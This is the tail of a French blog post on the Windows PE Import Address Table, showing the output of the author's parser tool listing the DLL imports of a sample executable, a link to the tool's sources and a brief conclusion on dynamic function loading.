C:\Documents and Settings\Geoffrey\C\PE\bin\Debug>PE.exe hello.exe
[*] KERNEL32.dll :
- AddAtomA
- ExitProcess
- FindAtomA
- GetAtomNameA
- SetUnhandledExceptionFilter

[*] msvcrt.dll :
- __getmainargs
- __p__environ
- __p__fmode
- __set_app_type
- _assert
- _cexit
- _iob
- _onexit
- _setmode
- abort
- atexit
- free
- malloc
- memset
- printf
- signal

Le code C est très crasseux et reste à améliorer, autant sur la revue des algos que sur l'ajout de nouvelles fonctionnalités.

Vous pouvez obtenir l'archive contenant sources + exécutable + fichier projet Code::Blocks ici : http://nibbles.tuxfamily.org/wp-content/uploads/2009/07/PE.zip

Conclusion


La section IAT reste intéressante en elle. Son fonctionnement est tel qu'elle puisse importer des fonctions de n'importe quelle DLL - tant qu'elle existe - sans en connaître ses adresses mémoires. Simplement ses noms. Il existe cependant d'autres méthodes pour faire appel à des fonctions sans passer par l'IAT, telles que l'utilisation des fonctions LoadLibrary() et GetProcAddress().

Liens :

(Désolé pour les bavures sur le formatage des différents codes sources. L'archive reste *normalement* à disposition).